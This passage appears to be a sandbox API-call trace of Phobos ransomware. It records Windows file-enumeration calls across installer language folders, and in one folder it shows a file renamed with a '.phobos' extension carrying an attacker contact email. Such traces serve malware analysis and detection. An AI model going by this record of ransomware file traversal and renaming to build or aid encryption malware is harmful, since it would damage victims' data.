nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1028", cAlternateFileName="")) returned 1 [0044.165] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xecdf4c64, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10c8e10 [0044.165] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xecdf4c64, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.165] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0044.166] SetEvent (hEvent=0x2e8) returned 1 [0044.166] ResetEvent (hEvent=0x2ec) returned 1 [0044.166] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0044.166] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0044.166] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdf4c64, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecdf4c64, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecdf4c64, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0044.166] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdf4c64, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecdf4c64, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecdf4c64, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0044.166] FindClose (in: hFindFile=0x10c8e10 | out: hFindFile=0x10c8e10) returned 1 [0044.167] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x33c00b0 | out: hHeap=0x2b10000) returned 1 [0044.167] FindNextFileW (in: hFindFile=0x10c9490, lpFindFileData=0x32ef554 | out: lpFindFileData=0x32ef554*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1029", cAlternateFileName="")) returned 1 [0044.167] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10c8e10 [0044.167] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.167] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0044.167] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13c4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0044.167] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0044.168] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0044.168] FindClose (in: hFindFile=0x10c8e10 | out: hFindFile=0x10c8e10) returned 1 [0044.168] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x33c00b0 | out: hHeap=0x2b10000) returned 1 [0044.168] FindNextFileW (in: hFindFile=0x10c9490, lpFindFileData=0x32ef554 | out: lpFindFileData=0x32ef554*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1030", cAlternateFileName="")) returned 1 [0044.168] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10c8e10 [0044.168] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.168] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xcf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0044.168] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12fb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0044.168] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0044.168] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0044.168] FindClose (in: hFindFile=0x10c8e10 | out: hFindFile=0x10c8e10) returned 1 [0044.168] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x33c00b0 | out: hHeap=0x2b10000) returned 1 [0044.169] FindNextFileW (in: hFindFile=0x10c9490, lpFindFileData=0x32ef554 | out: lpFindFileData=0x32ef554*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1031", cAlternateFileName="")) returned 1 [0044.169] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10c8e10 [0044.169] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.169] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xd5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0044.169] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0044.169] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0044.169] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0044.169] FindClose (in: hFindFile=0x10c8e10 | out: hFindFile=0x10c8e10) returned 1 [0044.169] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x33c00b0 | out: hHeap=0x2b10000) returned 1 [0044.169] FindNextFileW (in: hFindFile=0x10c9490, lpFindFileData=0x32ef554 | out: lpFindFileData=0x32ef554*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1032", cAlternateFileName="")) returned 1 [0044.169] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10c8e10 [0044.170] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.170] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x22ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0044.170] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1510c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0044.170] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0044.170] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0044.170] FindClose (in: hFindFile=0x10c8e10 | out: hFindFile=0x10c8e10) returned 1 [0044.170] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x33c00b0 | out: hHeap=0x2b10000) returned 1 [0044.170] FindNextFileW (in: hFindFile=0x10c9490, lpFindFileData=0x32ef554 | out: lpFindFileData=0x32ef554*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1033", cAlternateFileName="")) returned 1 [0044.170] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10c8e10 [0044.170] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.170] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd723cc00, ftCreationTime.dwHighDateTime=0x1cabb47, ftLastAccessTime.dwLowDateTime=0xd723cc00, ftLastAccessTime.dwHighDateTime=0x1cabb47, ftLastWriteTime.dwLowDateTime=0xd723cc00, ftLastWriteTime.dwHighDateTime=0x1cabb47, nFileSizeHigh=0x0, nFileSizeLow=0xc74, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0044.170] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x47ad1a00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x47ad1a00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x47ad1a00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12db0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0044.170] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0044.171] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0044.171] FindClose (in: hFindFile=0x10c8e10 | out: hFindFile=0x10c8e10) returned 1 [0044.171] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x33c00b0 | out: hHeap=0x2b10000) returned 1 [0044.171] FindNextFileW (in: hFindFile=0x10c9490, lpFindFileData=0x32ef554 | out: lpFindFileData=0x32ef554*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1035", cAlternateFileName="")) returned 1 [0044.171] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\*", 